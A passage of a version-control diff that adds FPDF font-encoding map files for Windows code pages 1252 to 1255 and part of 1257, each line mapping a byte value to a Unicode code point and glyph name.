+!FE U+044E afii10096
+!FF U+044F afii10097
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1252.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1252.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1252.map	(revision 44)
@@ -0,0 +1,251 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!83 U+0192 florin
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!88 U+02C6 circumflex
+!89 U+2030 perthousand
+!8A U+0160 Scaron
+!8B U+2039 guilsinglleft
+!8C U+0152 OE
+!8E U+017D Zcaron
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!98 U+02DC tilde
+!99 U+2122 trademark
+!9A U+0161 scaron
+!9B U+203A guilsinglright
+!9C U+0153 oe
+!9E U+017E zcaron
+!9F U+0178 Ydieresis
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+00AA ordfeminine
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00B8 cedilla
+!B9 U+00B9 onesuperior
+!BA U+00BA ordmasculine
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00BF questiondown
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+00C3 Atilde
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+00CC Igrave
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+00D0 Eth
+!D1 U+00D1 Ntilde
+!D2 U+00D2 Ograve
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+00DD Yacute
+!DE U+00DE Thorn
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+00E3 atilde
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+00EC igrave
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+00F0 eth
+!F1 U+00F1 ntilde
+!F2 U+00F2 ograve
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+00FD yacute
+!FE U+00FE thorn
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1253.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1253.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1253.map	(revision 44)
@@ -0,0 +1,239 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!83 U+0192 florin
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!89 U+2030 perthousand
+!8B U+2039 guilsinglleft
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!99 U+2122 trademark
+!9B U+203A guilsinglright
+!A0 U+00A0 space
+!A1 U+0385 dieresistonos
+!A2 U+0386 Alphatonos
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+2015 afii00208
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+0384 tonos
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+0388 Epsilontonos
+!B9 U+0389 Etatonos
+!BA U+038A Iotatonos
+!BB U+00BB guillemotright
+!BC U+038C Omicrontonos
+!BD U+00BD onehalf
+!BE U+038E Upsilontonos
+!BF U+038F Omegatonos
+!C0 U+0390 iotadieresistonos
+!C1 U+0391 Alpha
+!C2 U+0392 Beta
+!C3 U+0393 Gamma
+!C4 U+0394 Delta
+!C5 U+0395 Epsilon
+!C6 U+0396 Zeta
+!C7 U+0397 Eta
+!C8 U+0398 Theta
+!C9 U+0399 Iota
+!CA U+039A Kappa
+!CB U+039B Lambda
+!CC U+039C Mu
+!CD U+039D Nu
+!CE U+039E Xi
+!CF U+039F Omicron
+!D0 U+03A0 Pi
+!D1 U+03A1 Rho
+!D3 U+03A3 Sigma
+!D4 U+03A4 Tau
+!D5 U+03A5 Upsilon
+!D6 U+03A6 Phi
+!D7 U+03A7 Chi
+!D8 U+03A8 Psi
+!D9 U+03A9 Omega
+!DA U+03AA Iotadieresis
+!DB U+03AB Upsilondieresis
+!DC U+03AC alphatonos
+!DD U+03AD epsilontonos
+!DE U+03AE etatonos
+!DF U+03AF iotatonos
+!E0 U+03B0 upsilondieresistonos
+!E1 U+03B1 alpha
+!E2 U+03B2 beta
+!E3 U+03B3 gamma
+!E4 U+03B4 delta
+!E5 U+03B5 epsilon
+!E6 U+03B6 zeta
+!E7 U+03B7 eta
+!E8 U+03B8 theta
+!E9 U+03B9 iota
+!EA U+03BA kappa
+!EB U+03BB lambda
+!EC U+03BC mu
+!ED U+03BD nu
+!EE U+03BE xi
+!EF U+03BF omicron
+!F0 U+03C0 pi
+!F1 U+03C1 rho
+!F2 U+03C2 sigma1
+!F3 U+03C3 sigma
+!F4 U+03C4 tau
+!F5 U+03C5 upsilon
+!F6 U+03C6 phi
+!F7 U+03C7 chi
+!F8 U+03C8 psi
+!F9 U+03C9 omega
+!FA U+03CA iotadieresis
+!FB U+03CB upsilondieresis
+!FC U+03CC omicrontonos
+!FD U+03CD upsilontonos
+!FE U+03CE omegatonos
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1254.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1254.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1254.map	(revision 44)
@@ -0,0 +1,249 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!83 U+0192 florin
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!88 U+02C6 circumflex
+!89 U+2030 perthousand
+!8A U+0160 Scaron
+!8B U+2039 guilsinglleft
+!8C U+0152 OE
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!98 U+02DC tilde
+!99 U+2122 trademark
+!9A U+0161 scaron
+!9B U+203A guilsinglright
+!9C U+0153 oe
+!9F U+0178 Ydieresis
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+00AA ordfeminine
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00B8 cedilla
+!B9 U+00B9 onesuperior
+!BA U+00BA ordmasculine
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00BF questiondown
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+00C3 Atilde
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+00CC Igrave
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+011E Gbreve
+!D1 U+00D1 Ntilde
+!D2 U+00D2 Ograve
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+0130 Idotaccent
+!DE U+015E Scedilla
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+00E3 atilde
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+00EC igrave
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+011F gbreve
+!F1 U+00F1 ntilde
+!F2 U+00F2 ograve
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+0131 dotlessi
+!FE U+015F scedilla
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1255.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1255.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1255.map	(revision 44)
@@ -0,0 +1,233 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!83 U+0192 florin
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!88 U+02C6 circumflex
+!89 U+2030 perthousand
+!8B U+2039 guilsinglleft
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!98 U+02DC tilde
+!99 U+2122 trademark
+!9B U+203A guilsinglright
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+20AA afii57636
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+00D7 multiply
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD sfthyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 middot
+!B8 U+00B8 cedilla
+!B9 U+00B9 onesuperior
+!BA U+00F7 divide
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00BF questiondown
+!C0 U+05B0 afii57799
+!C1 U+05B1 afii57801
+!C2 U+05B2 afii57800
+!C3 U+05B3 afii57802
+!C4 U+05B4 afii57793
+!C5 U+05B5 afii57794
+!C6 U+05B6 afii57795
+!C7 U+05B7 afii57798
+!C8 U+05B8 afii57797
+!C9 U+05B9 afii57806
+!CB U+05BB afii57796
+!CC U+05BC afii57807
+!CD U+05BD afii57839
+!CE U+05BE afii57645
+!CF U+05BF afii57841
+!D0 U+05C0 afii57842
+!D1 U+05C1 afii57804
+!D2 U+05C2 afii57803
+!D3 U+05C3 afii57658
+!D4 U+05F0 afii57716
+!D5 U+05F1 afii57717
+!D6 U+05F2 afii57718
+!D7 U+05F3 gereshhebrew
+!D8 U+05F4 gershayimhebrew
+!E0 U+05D0 afii57664
+!E1 U+05D1 afii57665
+!E2 U+05D2 afii57666
+!E3 U+05D3 afii57667
+!E4 U+05D4 afii57668
+!E5 U+05D5 afii57669
+!E6 U+05D6 afii57670
+!E7 U+05D7 afii57671
+!E8 U+05D8 afii57672
+!E9 U+05D9 afii57673
+!EA U+05DA afii57674
+!EB U+05DB afii57675
+!EC U+05DC afii57676
+!ED U+05DD afii57677
+!EE U+05DE afii57678
+!EF U+05DF afii57679
+!F0 U+05E0 afii57680
+!F1 U+05E1 afii57681
+!F2 U+05E2 afii57682
+!F3 U+05E3 afii57683
+!F4 U+05E4 afii57684
+!F5 U+05E5 afii57685
+!F6 U+05E6 afii57686
+!F7 U+05E7 afii57687
+!F8 U+05E8 afii57688
+!F9 U+05E9 afii57689
+!FA U+05EA afii57690
+!FD U+200E afii299
+!FE U+200F afii300
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1257.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1257.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1257.map	(revision 44)
@@ -0,0 +1,244 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
